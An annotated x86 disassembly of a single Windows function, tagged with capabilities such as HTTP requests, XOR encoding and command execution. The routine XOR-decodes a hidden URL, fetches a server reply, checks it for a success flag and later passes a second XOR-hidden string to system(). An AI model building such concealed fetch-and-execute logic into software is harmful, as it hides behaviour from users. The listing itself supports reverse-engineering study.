Function at 0x10003310
Capabilities:
Create http request
Encode data using xor
Execute command
Read data from internet
Receive data
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000ef16
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x10d8
call fcn.1000edb0
mov eax, dword [0x10014040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0
push 0
push 1
push str.HTTP
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
mov edi, eax
mov dword [ebp - 0x10e4], edi
test edi, edi
je 0x10003578
movaps xmm0, xmmword [0x10010e60]
movaps xmm1, xmmword [0x10010df0]
movaps xmm2, xmmword [0x10010e90]
movaps xmm3, xmmword [0x10010e10]
movaps xmm4, xmmword [0x10010eb0]
movaps xmm5, xmmword [0x10010ed0]
movups xmmword [ebp - 0x1090], xmm0
mov dword [ebp - 0x1030], 0x1a1b454d
xor ecx, ecx
movups xmmword [ebp - 0x1080], xmm1
mov dword [ebp - 0x102c], 0x1e061f5e
movups xmmword [ebp - 0x1070], xmm2
mov byte [ebp - 0x1028], 0
movups xmmword [ebp - 0x1060], xmm3
movups xmmword [ebp - 0x1050], xmm4
movups xmmword [ebp - 0x1040], xmm5
nop
mov al, byte [ebp - 0x1090]
xor byte [ebp + ecx - 0x108f], al
inc ecx
cmp ecx, 0x67
jb 0x100033f0
push 0
push 0x80000000
push 0
push 0
lea eax, [ebp - 0x108f]
mov byte [ebp - 0x1028], 0
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x10003656
movaps xmm0, xmmword [0x10010f60]
mov cl, 0xfc
movups xmmword [ebp - 0x1080], xmm0
mov ch, 0xee
mov byte [ebp - 0x1028], al
movaps xmm0, xmmword [0x10010e80]
mov al, 0xca
movups xmmword [ebp - 0x1070], xmm0
mov dl, 0xec
mov byte [ebp - 0x10e0], 4
movaps xmm0, xmmword [str.S_L_f]
mov ah, 0xe5
xor al, byte [ebp - 0x10e0]
mov dh, 0xe4
movups xmmword [ebp - 0x1060], xmm0
mov byte [ebp - 0x10df], al
mov al, byte [ebp - 0x10e0]
movaps xmm0, xmmword [0x10010da0]
xor cl, al
xor ch, al
mov byte [ebp - 0x10d9], 0
movups xmmword [ebp - 0x1050], xmm0
xor dl, al
xor ah, al
movaps xmm0, xmmword [0x10010f70]
xor dh, al
mov byte [ebp - 0x10de], cl
mov byte [ebp - 0x10db], ch
xor ecx, ecx
movups xmmword [ebp - 0x1040], xmm0
mov dword [ebp - 0x1030], 0xccd1c4d3
mov dword [ebp - 0x102c], 0xfd2d3c4
mov byte [ebp - 0x10dd], dl
mov byte [ebp - 0x10dc], ah
mov byte [ebp - 0x10da], dh
mov byte [ebp - 0x10d9], 0
nop word [eax + eax]
mov al, byte [ebp - 0x1080]
xor byte [ebp + ecx - 0x107f], al
inc ecx
cmp ecx, 0x57
jb 0x100034f0
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [ebp - 0x10df]
push 0x10
push eax
lea eax, [ebp - 0x107f]
mov byte [ebp - 0x1028], 0
push eax
push 0
call esi
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0
push 0
push 0
push 1
push str.HTTP
call dword [sym.imp.WININET.dll_InternetOpenA]
movaps xmm0, xmmword [0x10010e60]
mov edi, eax
movaps xmm1, xmmword [0x10010df0]
movaps xmm2, xmmword [0x10010e90]
movaps xmm3, xmmword [0x10010e10]
movaps xmm4, xmmword [0x10010eb0]
movaps xmm5, xmmword [0x10010ed0]
mov dword [ebp - 0x10e4], eax
test edi, edi
jne 0x100033a8
movaps xmm0, xmmword [0x10010f20]
mov al, 0xca
mov byte [ebp - 0x10e0], 4
mov cl, 0xfc
xor al, byte [ebp - 0x10e0]
mov ch, 0xee
mov byte [ebp - 0x10df], al
mov dl, 0xec
mov al, byte [ebp - 0x10e0]
mov ah, 0xe5
mov dh, 0xe4
mov byte [ebp - 0x10d9], 0
xor cl, al
mov byte [ebp - 0x10d9], 0
xor ch, al
mov byte [ebp - 0x10de], cl
xor dl, al
mov byte [ebp - 0x10db], ch
xor ah, al
mov byte [ebp - 0x10dd], dl
xor dh, al
mov byte [ebp - 0x10dc], ah
movups xmmword [ebp - 0x1054], xmm0
xor ecx, ecx
mov byte [ebp - 0x10da], dh
movaps xmm0, xmmword [0x10010f30]
movups xmmword [ebp - 0x1044], xmm0
mov dword [ebp - 0x1034], 0x948b8e46
mov dword [ebp - 0x1030], 0x838b9683
mov dword [ebp - 0x102c], 0x488a8894
mov byte [ebp - 0x1028], 0
nop word [eax + eax]
mov al, byte [ebp - 0x1054]
xor byte [ebp + ecx - 0x1053], al
inc ecx
cmp ecx, 0x2b
jb 0x10003620
push 0x10
lea eax, [ebp - 0x10df]
mov byte [ebp - 0x1028], 0
push eax
lea eax, [ebp - 0x1053]
push eax
push 0
call esi
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
xorps xmm0, xmm0
mov dword [ebp - 0x1098], 0
movups xmmword [ebp - 0x10a8], xmm0
mov dword [ebp - 0x1094], 0xf
mov byte [ebp - 0x10a8], 0
lea eax, [ebp - 0x101c]
mov dword [ebp - 4], 0
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
push eax
push 0xfff
lea eax, [ebp - 0x1018]
push eax
push esi
call edi
test eax, eax
je 0x100036eb
mov eax, dword [ebp - 0x101c]
test eax, eax
je 0x100036eb
cmp eax, 0x1000
jae 0x10003a94
mov byte [ebp + eax - 0x1018], 0
lea ecx, [ebp - 0x10a8]
lea eax, [ebp - 0x1018]
push eax
call fcn.10005470
lea eax, [ebp - 0x101c]
push eax
push 0xfff
lea eax, [ebp - 0x1018]
push eax
push esi
call edi
test eax, eax
jne 0x100036a2
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x10e4]
call esi
cmp dword [ebp - 0x1094], 0xf
lea ecx, [ebp - 0x10a8]
mov eax, dword [ebp - 0x1098]
cmova ecx, dword [ebp - 0x10a8]
mov dword [ebp - 0x10dc], ecx
cmp eax, 0xe
jb 0x100037b0
add eax, 0xfffffff3
add eax, ecx
mov dword [ebp - 0x10e4], eax
sub eax, ecx
push eax
push 0x22
push ecx
call sub.VCRUNTIME140.dll_memchr
mov edi, eax
add esp, 0xc
test edi, edi
je 0x100037b0
mov edx, edi
mov ecx, str._success_:true
mov esi, 0xa
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x10003761
add edx, 4
add ecx, 4
sub esi, 4
jae 0x10003750
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x10003788
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x10003788
cmp esi, 0xfffffffe
je 0x10003784
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x10003788
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
jne 0x10003788
xor eax, eax
jmp 0x1000378d
sbb eax, eax
or eax, 1
test eax, eax
je 0x100038ef
mov eax, dword [ebp - 0x10e4]
inc edi
sub eax, edi
push eax
push 0x22
push edi
call sub.VCRUNTIME140.dll_memchr
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x10003744
or edi, 0xffffffff
cmp edi, 0xffffffff
mov dword [ebp - 0x10c8], 0
mov edx, str.true
mov dword [ebp - 0x10c4], 0
mov eax, str.false
xorps xmm0, xmm0
cmove edx, eax
mov ecx, edx
movups xmmword [ebp - 0x10d8], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100037e6
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x10d8]
call fcn.10005ab0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x10c0]
push 4
xorps xmm0, xmm0
mov dword [ebp - 0x10b0], 0
push str.true
movups xmmword [ebp - 0x10c0], xmm0
mov dword [ebp - 0x10ac], 0
call fcn.10005ab0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1040]
push 5
xorps xmm0, xmm0
mov dword [ebp - 0x1030], 0
push str.false
movups xmmword [ebp - 0x1040], xmm0
mov dword [ebp - 0x102c], 0
call fcn.10005ab0
cmp dword [ebp - 0x10ac], 0xf
lea ecx, [ebp - 0x10c0]
mov edi, dword [ebp - 0x10d8]
lea edx, [ebp - 0x10d8]
cmova ecx, dword [ebp - 0x10c0]
cmp dword [ebp - 0x10c4], 0xf
mov esi, dword [ebp - 0x10c8]
cmova edx, edi
cmp esi, dword [ebp - 0x10b0]
jne 0x10003a02
sub esi, 4
jb 0x100038b6
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x100038bb
add edx, 4
add ecx, 4
sub esi, 4
jae 0x100038a5
cmp esi, 0xfffffffc
je 0x100038fa
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x100038e8
cmp esi, 0xfffffffd
je 0x100038fa
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x100038e8
cmp esi, 0xfffffffe
je 0x100038fa
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x100038e8
cmp esi, 0xffffffff
je 0x100038fa
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x100038fa
sbb eax, eax
or eax, 1
jmp 0x100038fc
sub edi, dword [ebp - 0x10dc]
jmp 0x100037b3
xor eax, eax
test eax, eax
jne 0x10003a02
mov ecx, dword [ebp - 0x102c]
cmp ecx, 0xf
jbe 0x1000393e
mov edx, dword [ebp - 0x1040]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10003934
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100039d4
push ecx
push edx
call fcn.1000dd88
add esp, 8
mov eax, dword [ebp - 0x10ac]
cmp eax, 0xf
jbe 0x10003976
mov edx, dword [ebp - 0x10c0]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000396c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100039d4
push ecx
push edx
call fcn.1000dd88
add esp, 8
mov eax, dword [ebp - 0x10c4]
cmp eax, 0xf
jbe 0x100039a8
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x1000399e
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100039d4
push ecx
push edi
call fcn.1000dd88
add esp, 8
mov ecx, dword [ebp - 0x1094]
cmp ecx, 0xf
jbe 0x100039e4
mov edx, dword [ebp - 0x10a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100039da
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100039da
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1000dd88
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1000dd7a
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
push 0x24
push 0x10010564
push 0x10010578
push 0
call esi
cmp eax, 6
jne 0x10003a77
movaps xmm0, xmmword [0x10010ec0]
xor ecx, ecx
movups xmmword [ebp - 0x103c], xmm0
mov word [ebp - 0x102c], 0x4e
nop word [eax + eax]
mov al, byte [ebp - 0x103c]
xor byte [ebp + ecx - 0x103b], al
inc ecx
cmp ecx, 0x10
jb 0x10003a40
lea eax, [ebp - 0x103b]
mov byte [ebp - 0x102b], 0
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10003a8c
cmp eax, 7
jne 0x10003a8c
push 0
push 0x100105b4
push 0x100105c0
push 0
call esi
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call fcn.1000e226
int3